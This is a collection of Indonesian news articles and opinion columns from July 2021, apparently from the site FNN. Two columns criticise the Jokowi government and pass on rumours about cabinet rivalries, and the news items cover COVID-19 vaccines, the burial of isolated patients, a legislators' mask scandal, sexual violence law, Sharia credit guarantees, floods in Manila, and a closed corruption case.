gagal dalam menyelesaikan persoalan pandemi Covid-19. Publik mulai mencium aroma tak sedap. Bukan pandemic, tetapi plandemi. Gonta-ganti istilah penanganan Covid-19 tidak menyentuh substansi persoalan. Menjadi tertawaan dan cemoohan publik. Covid-19 makin menjadi-jadi. Parahnya lagi, kabinet Jokowi mulai pecah. Terjadi rivalitas yang sangat tajam antar kekuatan politik pendukung Jokowi. Contoh terbaru adalah, soal rangkap jabatan Ari Kuncoro yang melanggar Statuta Universitas Indonesia (UI). Setelah PP direvisi tentang bolehnya rangkap jabatan di statuta UI, tiba-tiba Ari Kuncoro mundur sebagai Wakil Komisaris Utama BRI. Kode pembusukan dari internal kabinet? Gonjang-ganjing memanasnya situasi politik nasional pasca PPKM darurat. Situasi ini kalau meminjam candaan ekonom senior Faisal Basri, PPKM rasa ayam geprek. PPKM level 3 dan 4. Tidak terlepas dari rivalitas internal kabinet Jokowi. Puan Maharani misalnya, mulai bersuara keras terhadap Presiden Jokowi. Pua memberi sinyal terkait posisi Kepala BIN mau diusik, dari Budi Gunawan, orang kepercayaan Ketua Umum PDIP Megawatti Soekarnoputri. Kabarnya Kepala BIN akan diberikan kepada Perwira TNI bintang empat atau bintang tiga. Begitu pula dengan perlawanan terhadap Luhut Binsar Panjaitan (LBP) oleh beberapa menteri dan kepala daerah mulai tampak. Kabarnya, terjadi rivalitas yang sengit dalam perebutan posisi Panglima TNI, Kepala BIN dan Menko Polhukam. Panglima TNI yang sekarang Marsekal TNI Hadi Tjahjanto sebentar lagi pensiun. Posisi Panglima TNI kabarnya diperebutkan oleh dua matra, Angkatan Darat dan Angkatan Laut. Kabar yang terdengar di publik, Persiden Jokowi menjanjikan angin syurga kepada Kapala Staf Angkatan Darat dan Laut untuk menjabat Panglima TNI. Ini sama dengan TNI diadu domda. Kepala BIN, Budi Gunawan mulai digoyang. Konon, Andika Perkasa bakal diplot menjadi Kepala BIN menggantikan Budi Gunawan bila gagal menjadi Panglima TNI. Budi Gunawan digeser menjadi Menko Polhukam. Menariknya, PDIP menolak pergeseran posisi Budi Gunawan dari Kepala BIN. PDIP kabarnya meradang ingin tetap mempertahankan posisi Kepala BIN untuk Budi Gunawan. Serunya lagi, Panglima TNI yang sekarang, kabarnya sudah dikavling untuk menggantikan posisi Menko Polhukam yang akan ditinggalkan Mahfud MD. Rumor yang berkembang, Jokowi sendiri ingin Hadi Tjahjanto, Panglima TNI sekarang sebagai Menko Polhukam. Tak selesai disitu. Sekarang di internal kabinet Jokowi, berhembus kencang agar Jokowi mencopot LBP. LBP dianggal gagal sebagai Koordinator PPKM darurat. Suara-suara di luar pemerintahan pun santer terdengar, agar Jokowi berani mencopot LBP. Walaupun rasanya tidak mungkin Jokowi mencopot LBP. Jangan-jangan malah LBP yang mencopot Jokowi. Pecah kongsi kabinet Jokowi, kabarnya dimanfaatkan oleh salah satu faksi di kabinet Jokowi. Sehari setelah Idul Adha. Tiba-tiba ribuan massa turun ke jalan-jalan di kota Bandung. Anehnya, polisi tidak turun tangan membubarkan massa aksi. Kebanyakan dari komunitas ojek online. Isunya lagi, aksi massa serupa akan menjalar ke beberapa kota di Indonesia sebagai upaya menekan Jokowi. Tagar Jangan Tunggu 2024 trending topic di media sosial. Konflik kabinet Jokowi dan pengkondisian simpul-simpul massa, maupun komunitas masyarakat akan membuat Jokowi benar-benar game over. Tagar Jangan Tunggu 2024 yang sedang trending topic kemungkinan saja akan terbukti. Jokowi dijerumuskan oleh orang terdekatnya. Momen PPKM Darurat rasa ayam geprek. Pedasnya bisa membuat Jokowi su'ul khatimah sebagai orang nomor satu di Indonesia sebelum genap 7 tahun menjadi presiden. Pelan-pelan kan meledak sebelum 2024? Wallahua'lam bish-shawab. Penulis adalah Pegiat Da’wah dan Sosial.

Kabupaten Ogan Komering Ulu Terima 620 Vial Vaksin Sinovac

Baturaja, FNN - Kabupaten Ogan Komering Ulu, Sumatera Selatan, menerima 620 vial vaksin COVID-19 jenis Sinovac yang didistribusikan oleh Pemerintah Provinsi Sumsel untuk pelayanan publik dan masyarakat umum usia 18 tahun ke atas di wilayah itu. "Ratusan vial vaksin tiba di Kabupaten OKU pada Jumat (23/7) sore," kata Kepala Bidang Pencegahan dan Pengendalian Penyakit Dinas Kesehatan Ogan Komering Ulu (OKU), Andi Prapto di Baturaja, Sabtu. Dia menerangkan pendistribusian 620 vial atau 6.200 dosis vaksin Sinovac ke Kabupaten OKU mendapat pengawalan ketat dari pihak kepolisian guna memastikan diterima dalam keadaan baik. Setibanya di Kabupaten OKU, kata dia, ribuan dosis vaksin tersebut langsung disimpan di gudang farmasi milik Dinas Kesehatan Kabupaten OKU yang terletak di Kelurahan Tanjung Agung, Kecamatan Baturaja Barat. "Sebelum didistribusikan ke seluruh tempat pelayanan vaksinasi yang ada di Kabupaten OKU, vaksin disimpan dulu beberapa hari di gudang farmasi dengan suhu yang telah ditentukan oleh pihak logistik," kata dia. Selanjutnya vaksin akan segera didistribusikan ke 18 puskesmas dan tiga rumah sakit di Kabupaten OKU, termasuk beberapa titik lokasi tempat pelayanan vaksinasi dalam program serbuan vaksin yang digelar TNI/Polri. Dia menjelaskan ribuan dosis Sinovac tersebut diperuntukkan bagi pelayan publik dan masyarakat usia 18 tahun ke atas, termasuk lansia untuk vaksinasi tahap kedua. Sementara berdasarkan data per 23 Juli 2021 realisasi vaksinasi COVID-19 di Kabupaten OKU baru mencapai sekitar 15 persen atau sebanyak 46.369 warga sudah mendapat suntikan vaksin tahap pertama dari target 277.000 sasaran. Sedangkan, jumlah warga yang sudah mendapat vaksinasi tahap kedua tercatat baru sekitar 18.352 orang termasuk tenaga kesehatan dan pelayanan publik di Kabupaten OKU. "Sejauh ini animo masyarakat OKU untuk divaksin sangat tinggi, namun terkendala persediaan vaksin terbatas. Bahkan, beberapa puskesmas sempat menunda vaksinasi ratusan warga akibat stok vaksin habis," ujar Andi. Oleh karena itu, Kementerian Kesehatan diharapkan dapat memperlancar suplai vaksin ke tingkat kabupaten/kota sesuai kebutuhan agar pelaksanaan vaksinasi berjalan maksimal. (sws)

Pemkot Bogor Terima Bantuan Peti Jenazah

Bogor, Jabar, FNN - Pemerintah Kota Bogor melalui Posko Logistik Darurat Kota Bogor menerima bantuan peti jenazah untuk pemulasaraan dan pemakaman jenazah pasien COVID-19 yang meninggal dunia saat menjalani isolasi mandiri (isoman) di rumah masing. Bantuan peti jenazah itu diserahkan oleh pengusaha swasta yang berdomisili di Bubulak Bogor Barat dan diterima secara simbolis oleh Wakil Wali Kota Bogor, Dedie A Rachim di Bogor, Sabtu. Dedie A Rachim mengatakan, karena banyaknya pasien COVID-19 di rumah sakit dan pasien yang meninggal dunia juga meningkat, maka warga terpapar COVID-19 yang menjalani isolasi mandiri di rumah dan meninggal dunia saat ini tidak ditangani oleh rumah sakit. Apalagi, pada dua pekan terakhir, warga Kota Bogor yang terpapar COVID-19 dan meninggal dunia, jumlahnya meningkat, baik pasien di rumah sakit, maupun warga yang menjalani isoman di rumah. "Jadi, kesiapan untuk pemulasaraan dan persiapan lain betul-betul kaget," katanya. Menurut Dedie, Satgas Penanganan COVID-19 Kota Bogor kemudian mencari solusi guna mengatasi guna mengatasi persoalan, antara lain, membentuk Tim Pemulasaraan dan Pemakaman Jenazah COVID-19 yang bertugas memulasarakan dan memakamkan jenazah pasien COVID-19. Di sisi lain, mencari donatur untuk membantu kebutuhan logistik untuk keluarga warga isoman dan warga yang terdampak secara ekonomi. "Salah satunya adalah bantuan peti jezanah yang kami terima hari ini," katanya. Berdasarkan data yang dihimpun Posko Logistik Darurat, jumlah warga terpapar COVID-19 yang menjalani isoman dan meninggal dunia, sampai saat ini ada 96 orang. Jumlah warga yang menjalani isoman dan meninggal dunia telah dimulasaraan dan dimakankam oleh Tim Pemulasaraan. Sementara itu, Manager Operasional CV Karya Persada, Iwan Supeno, yang menyerahkan bantuan peti jenazah, mengatakan, bantuan peti jenazah ini merupakan bentuk kepedulian pihaknya untuk membantu penanganan COVID-19 di Kota Bogor. "Semoga bantuan ini dapat bermanfaat," katanya.(sws)

PWI Ajak Seluruh Wartawan Ikut Berperang Lawan COVID-19

Jakarta, FNN - Ketua Umum Persatuan Wartawan Indonesia (PWI), Atal S Depari, mengajak seluruh pekerja media di Indonesia untuk ikut berperang melawan Covid-19. "Saya mengajak para wartawan agar bersama seluruh komponen bangsa untuk bersama-sama melawan Covid-19," kata dia dalam acara PWI Bermunajat Mengetuk Pintu Langit secara virtual, di Jakarta, Sabtu. Ia mengatakan perang melawan Covid-19 tidak bisa hanya dilakukan oleh pemerintah, melainkan seluruh elemen bangsa harus saling mendukung dalam penanganan Covid-19 di Indonesia. "Perang melawan Covid-19 tidak bisa dilakukan oleh pemerintah semata, tenaga kesehatan atau aparat penegak hukum saja. Semua komponen bangsa harus hadir, saling mendukung dan saling mengingatkan agar perang ini bisa kita menangkan," jelasnya. Acara PWI Bermunajat Mengetuk Pintu Langit diselenggarakan untuk mengajak seluruh wartawan dari berbagai daerah berdoa kepada Tuhan YME karena semakin banyak masyarakat menjadi korban pandemi Covid-19. "Acara ini terselenggara karena kami menyadari betul pandemi Covid-19 yang telah berlangsung 19 bulan di 223 negara menyebabkan 191 juta orang terinfeksi dan 4,1 juta lebih meninggal dunia," katanya. Wakil Presiden, Ma’ruf Amin, yang turut hadir secara virtual, juga mengajak seluruh pekerja media untuk terus optimistis agar Indonesia dapat kembali bangkit. "Saya juga ingin mengajak kita semua untuk selalu berdoa sembari tetap optimistis dan terus berikhtiar agar kondisi bangsa kita dapat segera membaik, pulih dan kembali bangkit," kata dia. Ia juga meminta seluruh pekerja pers untuk mendukung dan mengingatkan masyarakat dalam meningkatkan kepatuhan protokol kesehatan guna menekan angka penularan kasus Covid-19. "Dimulai dari diri sendiri dan lingkungan sekitar, mari kita bergerak untuk terus meningkatkan kepatuhan terhadap protokol kesehatan, mengubah kondisi Indonesia agar segera terlepas dari jerat pandemi Covid-19," ujar dia. (sws)

Golkar NTT Minta Maaf Soal Kadernya yang Berjoget Langgar Prokes

Kupang, FNN - Dewan Pimpinan Daerah (DPD) Partai Golkar Nusa Tenggara Timur meminta maaf atas aksi beberapa anggota DPRD Malaka dari Fraksi Golkar yang berjoget tanpa menerapkan protokol kesehatan di tengah pandemi COVID-19. "Partai Golkar meminta maaf atas kejadian itu. Kita dan warga tentu tidak berharap di tengah pandemi COVID-19 wakil rakyat memperlihatkan aksi seperti itu. Atas keterlibatan beberapa anggota Fraksi Golkar dalam potongan video itu, Partai Golkar meminta maaf,” kata Wakil Ketua Bidang Media dan Penggalangan Opini DPD I Golkar NTT Frans Sarong kepada ANTARA ,di Kupang, Sabtu. Aksi itu terekam video dan disebarkan secara luas di media sosial. Selain media sosial, aksi wakil rakyat di tengah pandemi COVID-19 itu juga dipublikasikan di beberapa media mainstream (koran, online, dan televisi). Dalam video berdurasi 30 detik yang viral di media sosial itu terlihat tiga orang diduga anggota DPRD Malaka, dua orang perempuan dan satu orang laki-laki, sedang bergoyang-goyang seperti sedang berpesta menggunakan pakaian dinas Mereka berjoget tanpa menggunakan masker. Dalam video berdurasi 30 detik itu tampak pula seorang pria yang sedang bergoyang memegang gelas sambil bergoyang mengikuti irama lagu dengan organ tunggal. Frans mengatakan bahwa Wakil rakyat Malaka yang terlibat dalam aksi itu tidak hanya dari Fraksi Golkar, tetapi ada dari fraksi lain. Tak pelak aksi itu mendapat reaksi dan tanggapan minor dari publik. Partai Golkar, kata Frans Sarong, menegaskan dan meminta semua kader, terutama di lembaga legislatif dan eksekutif untuk selalu bersama dan bersatu dengan masyarakat NTT di tengah pandemi COVID-19. Golkar sendiri, ujar Frans, sejak pandemi COVID-19 sudah menunjukkan kepedulian, empati, simpati, dan solidaritas yang tinggi bersama masyarakat NTT untuk mencegah penyebaran virus itu. Kepdulian itu di antaranya membantu menyumbangkan APD untuk para tenaga kesehatan dan membagikan sembako untuk warga terpapar COVID-19. "Masyarakat NTT tentu tahu dan melihat seperti apa keberpihakan Golkar dengan masyarakat di tengah pandemi COVID-19,” tambah mantan wartawan Senior Kompas itu. Karena itu, kata Frans Sarong, Golkar sama sekali tidak bermaksud mencederai masyarakat NTT, terutama masyarakat Malaka melalui aksi beberapa anggota DPRD Malaka. Selain meminta maaf secara resmi, Frans Sarong memastikan bahwa Golkar akan meminta pertanggungjawaban beberapa kadernya di DPRD Malaka yang terlibat aksi kurang patut itu. “Kita akan meminta keterangan anggota Fraksi Golkar DPRD Malaka dan memberi sanksi sesuai aturan organisasi sebagaimana disampaikan pak Ans Takalapeta, Wakil Ketua Bidang Organisasi Golkar NTT, dan Mira Natalia Pellu, Wakil Sekretaris Bidang Organisasi Golkar NTT,” kata Frans Sarong. (sws)

Komnas Perempuan: KUHP Belum Lindungi Wanita Korban Kekerasan Seksual

Jakarta, FNN - Komisioner Komnas Perempuan Maria Ulfah Anshor berpendapat bahwa Kitab Undang-Undang Hukum Pidana (KUHP) belum memberikan perlindungan kepada perempuan korban kekerasan seksual. “Perumusannya tidak mampu memberikan perlindungan pada perempuan korban kekerasan seksual,” kata Maria Ulfah ketika dihubungi oleh ANTARA dari Jakarta, Kamis (22/7). Menurut Maria, KUHP hanya mengenali istilah perkosaan, pencabulan, dan persetubuhan. Sedangkan, mengacu pada pengaduan korban kekerasan seksual kepada Komnas Perempuan, terdapat berbagai kekerasan seksual yang menurut Maria belum diatur di dalam KUHP dan kini menjadi isu di Indonesia. “Pemaksaan perkawinan, eksploitasi seksual, pemaksaan sterilisasi, pemaksaan pelacuran, perbudakan seksual, dan penyiksaan seksual merupakan bentuk-bentuk kekerasan seksual yang belum dikenali oleh sistem hukum Indonesia,” ujar Komisioner Komisi Nasional (Komnas) Perempuan. Dampak yang diakibatkan oleh ketidakmampuan KUHP dalam melindungi korban kekerasan seksual, menurut Maria, adalah sulitnya korban untuk mendapatkan akses untuk menuntut keadilan. “Di mana hak untuk keadilan merupakan hak konstitusional yang dijamin oleh Undang-Undang Dasar (UUD) 1945,” kata Maria menegaskan. Untuk itu, menurut Maria, Rancangan Undang-Undang Penghapusan Kekerasan Seksual (RUU PKS) sebagai bentuk komitmen pemerintah dalam melindungi hak-hak konstitusional yang dimiliki oleh korban-korban kekerasan seksual perlu segera disahkan. Sebelumnya, RUU PKS telah diajukan oleh Komnas Perempuan sejak tahun 2012 dan masih belum memperoleh persetujuan untuk disahkan oleh DPR. Hal ini diakibatkan oleh beberapa substansi yang membutuhkan peninjauan kembali. “Jika RUU PKS tidak segera disahkan, ini bisa menjadi indikator bahwa negara telah membiarkan kekerasan seksual untuk terjadi,” tutur Maria. Maria juga berpendapat bahwa penundaan pengesahan RUU PKS merupakan bentuk pembatasan akses menuju keadilan bagi korban, serta tidak adanya perlindungan dan keamanan terhadap perempuan, anak perempuan, maupun perempuan penyandang disabilitas. “Puluhan ribu korban kekerasan seksual menanti akses terhadap keadilan,” tutur Komisioner Komnas Perempuan menambahkan. (sws)

Bisnis Penjaminan Syariah Laju di Tengah Pandemi

Jakarta, FNN - Meski pandemi COVID-19 nyaris melumpuhkan seluruh sendi-sendi kehidupan termasuk perekonomian, namun faktanya bisnis penjaminan syariah justru bisa terus melaju. Ini menjadi bukti bahwa sejatinya sektor riil khususnya UMKM sangat memerlukan dukungan dan keberpihakan yang memudahkan usaha mereka agar kemudian mampu bangkit di tengah pandemi COVID-19. Pemerintah pun sejak awal memberikan sinyal untuk membangkitkan kembali aktivitas ekonomi, salah satunya dengan mendorong penyaluran kredit. Tidak hanya dengan menggelontorkan penempatan uang negara, penjaminan kredit modal kerja pun diberikan agar pelaku usaha mampu bangkit kembali. Awalnya, sektor UMKM menjadi fokus pemerintah dalam memberikan penjaminan kredit modal kerja (KMK). Pada pertengahan tahun lalu, sektor korporasi padat karya juga mendapatkan fasilitas yang sama. Cakupan usaha menyebabkan kebutuhan dana tambahan dan bentuk penjaminan kredit yang diberikan untuk menggerakkan kembali usaha pada dua sektor tersebut jauh berbeda. Namun secara kinerja, perusahaan penjaminan kredit mengalami laju pertumbuhan yang baik meski perekonomian mengalami kelesuan dalam berbagai segi. Jika melihat kinerja keuangan salah satu perusahaan penjaminan PT Jamkrindo Syariah (JamSyar) pada tahun 2020 (audited oleh PwC) misalnya menunjukkan kinerja yang amat baik menunjukkan bahwa ada sektor yang sebenarnya sedang bertumbuh dan mampu menopang perekonomian. Anak perusahaan pelat merah itu nyatanya terbukti mampu mendongkrak pertumbuhan aset secara signifikan berdasarkan laporan keuangan 2020 yakni sejumlah Rp1,573 triliun atau bertumbuh sebesar 32,86 persen dari tahun 2019 sebesar Rp1,184 triliun. Selain itu, total laba yang berhasil dibukukan pada 2020 adalah sejumlah Rp45,14 miliar atau bertumbuh sebesar 162,36 persen apabila dibandingkan tahun sebelumnya sebesar Rp17,2 miliar. Pertumbuhan ini menunjukkan bahwa selain ada sektor-sektor yang mulai menggeliat untuk bangkit seiring dengan perusahaan yang berhasil mengembangkan bisnisnya secara berkelanjutan dengan hasil baik. Dari sisi bisnis penjaminan, Direktur Utama JamSyar Gatot Suprabowo mengatakan meskipun di tengah pandemi COVID-19 total volume penjaminan, yang dijamin oleh perusahaan selama 2020 adalah sejumlah Rp32,40 triliun atau tetap tumbuh sebesar 12,56 persen dari tahun 2019 sebesar Rp28,78 triliun. Selanjutnya IJK Cash Basis pada tahun 2020 adalah sejumlah Rp500,29 miliar atau tumbuh sebesar 50,92 persen dari tahun sebelumnya sebesar Rp331,50 miliar. Dan total jumlah terjamin selama kurun waktu 2020 adalah sebanyak 726.131 terjamin atau tumbuh sebesar 129,96 persen dari tahun 2019 sebanyak 315.761 terjamin. Selain dari sisi keuangan dan bisnis penjaminan, perusahaan ini juga dapat menjaga kualitas penjaminan dengan baik, hal ini dibuktikan dengan indikator rasio klaim selama tahun 2020 sebesar 29,15 persen. Kinerja bisnis penjaminan yang baik itu pun pada tahun 2020 terus berlanjut hingga akhir semester I tahun 2021, dimana perusahaan dengan total aset yang berhasil dibukukan adalah sejumlah Rp1,77 triliun dan pencapaian laba sejumlah Rp57,49 miliar. Hingga akhir Semester I tahun 2021, selain sisi keuangan, pada sisi bisnis penjaminan meskipun di tengah pandemi COVID-19 hingga akhir semester I tahun 2021, perusahaan juga menunjukan pencapaian yang baik dengan membukukan pencapaian total volume penjaminan sejumlah Rp 21,70 triliun, pencapaian IJK Cash Basis berhasil dicapai Rp 393,90 miliar sedangkan pencapaian IJK Accrual tercatat sejumlah Rp 286,73 miliar. Dari indikator-indikator pencapaian selama kurun waktu Januari tahun 2021 hingga akhir semester I tahun 2021 tersebut, memberikan keyakinan dan rasa optimisme bahwa perekonomian di tanah air sebenarnya sedang mulai memulihkan diri dan bangkit. Pemulihan Ekonomi Kunci sukses bisnis penjaminan sebenarnya terletak pada kemampuannya untuk beradaptasi dan berinovasi. Perusahaan idealnya turut serta mendukung program pemerintah dalam rangka Pemulihan Ekonomi Nasional (PEN). Beberapa perusahaan penjaminan memang terlibat turut mendukung berbagai program Pemerintah dalam peningkatan perekonomian nasional dengan memberikan penjaminan kepada pelaku usaha yang terdampak pandemi melalui produk penjaminan pembiayaan modal kerja pemulihan ekonomi nasional (PEN). Umumnya mereka bekerja sama dengan mitra-mitra bank yang ditunjuk oleh Pemerintah dalam mendukung program pemulihan ekonomi nasional. Peluang itu sejatinya makin besar mengingat tahun ini program PEN terus digulirkan bahkan misalnya Kementerian Koperasi dan UKM terus menyalurkan Banpres Produktif Usaha Mikro (BPUM) tahap dua yang hingga akhir Juli 2021 ditargetkan tersalur kepada 1,5 juta pelaku usaha mikro. Di samping tahun ini memang harus diakui bahwa bisnis penjaminan kredit secara umum semakin prospektif meski di tengah keseluan ekonomi karena pandemi. Faktanya tercatat outstanding penjaminan naik seiring dengan pertambahan penjaminan kredit usaha rakyat (KUR). Otoritas Jasa Keuangan (OJK) melaporkan, nilai outstanding industri penjaminan meningkat 11,51 persen year on year (yoy) menjadi Rp261,85 triliun hingga Maret 2021. Nilai itu berhasil terkumpul dari 20 perusahaan penjaminan BUMN, daerah maupun swasta. Jika dirinci outstanding tersebut berasal dari dua penjaminan yakni usaha produktif Rp165,61 triliun dan nonproduktif Rp96,24 triliun. Dengan jumlah debitur terjamin menyentuh 16,27 juta orang. Semua berharap bisnis penjaminan bisa menjadi solusi bagi pelaku usaha untuk bangkit dan pulih kembali setelah usahanya terhantam badai pandemi COVID-19. (mth)

Keselamatan Rakyat Hukum Tertinggi

Kalimat ini disampaikan oleh Menkopolhukkam Prof Mahfud MD, dikompas Malam TV, 23 Juli 2021. Oleh Sugengwaras Bandung, FNN - Jika semua pejabat dan rakyat komitmen dan konsisten terhadap pernyataan ini, niscaya tidak ada masalah bagi bangsa Indonesia dalam menyikapi apapun bentuk dan jenis musibah yang dihadapi. Namun faktanya tidak semudah dan sesederhana ucapan itu, karena untuk menjamin keselamatan rakyat sama halnya telah merencanakan, mempersiapkan, melaksanakan, mengawasi dan mengevaluasi administrasi dan kegiatan di lapangan secara terukur, terkoordinasi, terpadu dan terkendali, sesuai prosedur yang ada dan luwes dalam menghadapi dinamika yang terjadi, untuk semua jajaran yang terlibat. Dengan kata lain, harus mempunyai prepare yang matang disertai moral yang baik, jujur, ikhlas dan semangat yang tinggi. Merunut kiprah Era Jokowi selama berkuasa, di samping ada hal hal yang bermanfaat untuk keselamatan rakyat, banyak kebijakan yang membuat malapetaka dan penderitaan rakyat. Sebagai contoh, telah direncanakan dan telah lahir beberapa UU atau peraturan perundang-undangan yang membuat miris terhadap keselamatan rakyat, seperti dibentuknya BPIP / HIP, UU Omnibus Law, Rencana Pemindahan Ibu Kota Negara di Kalimantan, sistim hutang piutang dengan Cina, pengaturan dan pengelolaan TKA, yang kesemuanya di luar nalar sehat di tengah tengah situasi dan kondisi seperti sekarang. Lebih konyol lagi, ketika UU dan peraturan perundang-undangannya dipaksakan, dipercepat, tidak bernaskah akademik dan main sembunyi-sembumyi dengan badan legislatif DPR, yang seakan membutakan dan mengabaikan suara rakyat. Bermula dari hutang dengan persyaratan yang berat, merambat ke kebohongan- kebohongan bertubi- tubi yang rentan dengan penyesatan, pengelabuhan, pengalihan isu dan pembenturan yang menjadikan seluruh aspek negara tidak kondusif. Lebih konyol lagi, ketika kebohongan ini ketahuan, muncul fitnah dan kebencian kepada pengkritis. Lebih menyedihkan lagi dalam upaya pembelaannya rezim membentuk buzzer dan influencer, yang semakin ngawur dan semakin membuat gaduh negeri ini. Lebih ngenes lagi ketika rezim memanfaatkan dan menyalahgunakan TNI POLRI sebagai alat gebuk, garda terdepan dan benteng terakhir untuk rezim, bukan untuk negara. Cara-cara inilah yang membuat tidak ada keseimbangan antara kehendak dan suara rakyat dengan kebijakan rezim yang diambil. Dengan kata lain, sering para pejabat negara seperti Mahfud MD ini, tidak konsisten dan tidak komitmen terhadap pernyataannya sendiri, yang dinilai tidak satunya kata dengan perbuatan. Seharusnya para stake holder paham dan sadar, bahwa dalam menuju dan mencapai terjaminnya keselamatan rakyat, dituntut adanya saling pengertian, saling mendukung imbal balik dan saling menjaga guna kelancaran jalanya roda pemerintahan yang kondusif seiring dengan semangat persatuan, dan semangat membangun dalam meningkatkan kecerdasan dan kesejahteraan rakyat berlandaskan Pancasila dan UUD ' 45, dalam bingkai Bhineka Tunggal Ika Di sisi lain, hendaknya para stake holder paham dan sadar dalam upaya upaya keadilan dan penegakan hukum, untuk tidak bersandar ke masalah duniawi dan finansial belaka, karena pada akhirnya kita semua akan mati dengan tidak harus berurutan tua mudanya umur maupun kekayaan yang dimiliki Penghentian kasus penembakan dan terbunuhnya laskar FPI di Km 50 jalan tol Japek merupakan tindakan yang tidak mendidik bangsa ini sekaligus jauh dari hakekat keselamatan rakyat. Dan kita semua tidak boleh lupa, bahwa setiap perbuatan akan menanggung resiko baik cepat atau lambat, baik saat di dunia maupun setelah diakhirat kelak, naudzubillah mindzalik ! Penulis adalah Purnawirawan TNI AD.

Manila Banjir, Ribuan Warga Diungsikan

Manila, FNN - Otoritas Filipina memindahkan ribuan penduduk Manila dari sejumlah kawasan dataran rendah pada Sabtu ketika hujan muson deras yang diperparah oleh badai tropis membanjiri ibu kota itu dan provinsi sekitarnya. Badan bencana nasional mengatakan 14.023 orang, sebagian besar dari daerah-daerah pinggiran yang rawan banjir, mengungsi ke pusat-pusat evakuasi. "Kami meminta warga daerah terdampak untuk tetap waspada dan siaga, lakukan tindakan pencegahan, dan berkoordinasi dengan otoritas setempat," kata juru bicara kepresidenan Harry Roque dalam sebuah pernyataan. Cuaca ekstrim telah melanda sejumlah wilayah dunia dalam beberapa pekan terakhir, menyebabkan banjir di China, India, Eropa Barat dan gelombang panas di Amerika Utara, serta menimbulkan kekhawatiran baru tentang dampak perubahan iklim. Filipina, negara dengan 7.600 pulau di Asia Tenggara, mencatat sekitar 20 badai tropis tiap tahun, namun Samudera Pasifik yang lebih hangat membuat badai-badai itu lebih kuat dan menimbulkan hujan yang lebih deras, kata ahli meteorologi. Di beberapa tempat di wilayah ibu kota Filipina, kawasan urban bagi lebih dari 13 juta orang, genangan air setinggi pinggang memutus jalan bagi kendaraan ringan. Filipina juga tengah berjuang mengatasi salah satu wabah COVID-19 terburuk di Asia dan telah mengetatkan penguncian untuk mencegah penyebaran varian Delta yang lebih menular. Roque mengatakan kementerian pekerjaan umum sibuk membersihkan puing dan longsoran yang memenuhi jalan di beberapa provinsi. "Sejumlah rumah terendam sampai atap," kata Humerlito Dolor, gubernur Oriental Mindoro, provinsi di sebelah selatan Manila, kepada radio DZMM. (mth)

IDAI: Hindari Gawai Terlalu Dini Cegah Anak Telat Bicara

Jakarta, FNN - Ketua Ikatan Dokter Anak Indonesia (IDAI) Jakarta dokter spesialis anak Rini Sekartini menyarankan kepada orang tua agar tidak diberikan akses ponsel atau gadget kepada anak hingga mencapai usia 2 tahun untuk mencegah terjadinya telat bicara. Hal itu dikarenakan jika anak terlalu terpapar gadget apalagi tanpa pendampingan orang tua maka yang terjadi adalah mengganggu potensi anak untuk berbicara. “Anak tidak boleh sendirian (apalagi di usia dini) ditinggal hanya sama gadget. Bisa dibilang gadget itu jadi musuh utama karena banyak ditemukan anak dengan gadget rata- rata mengalami keterlambatan bicara. Jadi ini saya titip ke orang tua, sampai usia anak mencapai 2 tahun tidak perlu diberi gadget,” kata dokter Rini dalam webinar bertajuk “Optimalkan Tumbuh Kembang Anak Sejak Dini”, Sabtu. Ketika anak baru lahir hingga berusia dua tahun, buah hati tengah menjalani yang dinamakan masa keemasan untuk berkembang dan bertumbuh secara optimal. Mengacu pada Buku Kesehatan Ibu dan Anak (KIA) yang dikeluarkan Kementerian Kesehatan, salah satu indikator anak yang bertumbuh dan berkembang dengan baik hingga menginjak usia 2 tahun adalah sudah mampu berbicara dengan lancar. Terkadang orang tua yang sibuk sering kali membiarkan buah hati menggunakan gadget agar anak tetap anteng atau pun tidak rewel namun rupanya dengan hal itu anak- anak malah menjadi tidak aktif dan berpotensi tidak berkembang sesuai dengan usianya. Dokter yang tergabung di divisi Tumbuh Kembang- Pediatri Sosial Departemen Ilmu Kesehatan Anak FKUI- RSCM itu menyampaikan sering kali dalam prakteknya sebagai praktisi kesehatan anak, masalah telat bicara ditemukan pada anak- anak yang terpapar penggunaan gadget sejak dini. Oleh karena itu, untuk mencegah agar anak- anak di bawah usia 2 tahun tidak mengalami keterlambatan atau tidak lancaran pada saat berbicara disarankan agar anak tidak diberi akses menggunakan gadget terlebih dahulu. Hal lain yang perlu diperhatikan dari kondisi anak yang telat bicara atau tidak lancar berbicara adalah nutrisi. Disarankan agar anak dengan kondisi tidak lancar bicara untuk bisa mengonsumsi makanan yang sesuai dengan kebutuhannya. Jika mengalami gangguan artikulasi, artinya makanan yang diberikan harus bisa menstimulasi anak mengunyah sehingga kemampuan otot- otot mulutnya bisa mendorong buah hati berartikulasi dengan baik. Selain telat bicara, ada banyak faktor lain yang perlu diperhatikan oleh orang tua guna memastikan anaknya bertumbuh dengan maksimal. Orang tua wajib memantau pertumbuhan dan perkembangan anaknya itu setidaknya mengikuti panduan di Buku KIA. Jika ternyata orang tua menyadari bahwa anak tidak memenuhi beberapa faktor yang ada di Buku KIA, maka sebaiknya orang tua segera melakukan intervensi dengan berkonsultasi kepada dokter anak. Intervensi wajib dilakukan untuk bisa memperbaiki kondisi yang belum terpenuhi oleh anak berdasarkan pemantauan pertumbuhan dan perkembangan anak. (mth)

Kejati Maluku Tutup Penyidikan Kasus Pengadaan Mobil Damkar

Ambon, FNN - Kejaksaan Tinggi Maluku menutup penyidikan kasus dugaan tindak pidana korupsi anggaran pengadaan mobil pemadam kebakaran di Dinas Perhubungan dan Infokom Kabupaten Maluku Barat Daya Tahun Anggaran 2016 senilai Rp5,5 miliar. "Setelah dilakukan serangkaian penyelidikan dan penyidikan, jaksa tidak menemukan adanya unsur kerugian keuangan negara dalam perkara ini," kata Aspidsus Kejati Maluku M. Rudy, di Ambon, Sabtu. Dengan demikian Kejati Maluku menutup kasus anggaran pengadaan satu unit mobil pemadam kebakaran itu, katanya. Pengadaan satu unit mobil damkar tipe 4 tersebut, kat dia, secara khusus ditempatkan di dalam kawasan Bandara Tiakur, Kabupaten Maluku Barat Daya. Selain memeriksa sejumlah saksi, tim penyidik Kejati Maluku turun ke lapangan untuk melihat kondisi riil mobil pemadam kebakaran tersebut. Menurut dia, pengadaan barang berupa mobil pemadam kebakaran di lapangan memang ada dan spesifikasinya sesuai dengan kontrak yang dibuat. "Jaksa penyidik juga telah meminta keterangan secara resmi Odi Orno selaku mantan Kepala Dinas Perhubungan dan Infokom Maluku Barat Daya," ujarnya. Odi Orno saat itu memenuhi panggilan jaksa untuk dimintai keterangan pada tanggal 29 Januari 2021 dan yang bersangkutan langsung berhadapan dengan jaksa penyidik. 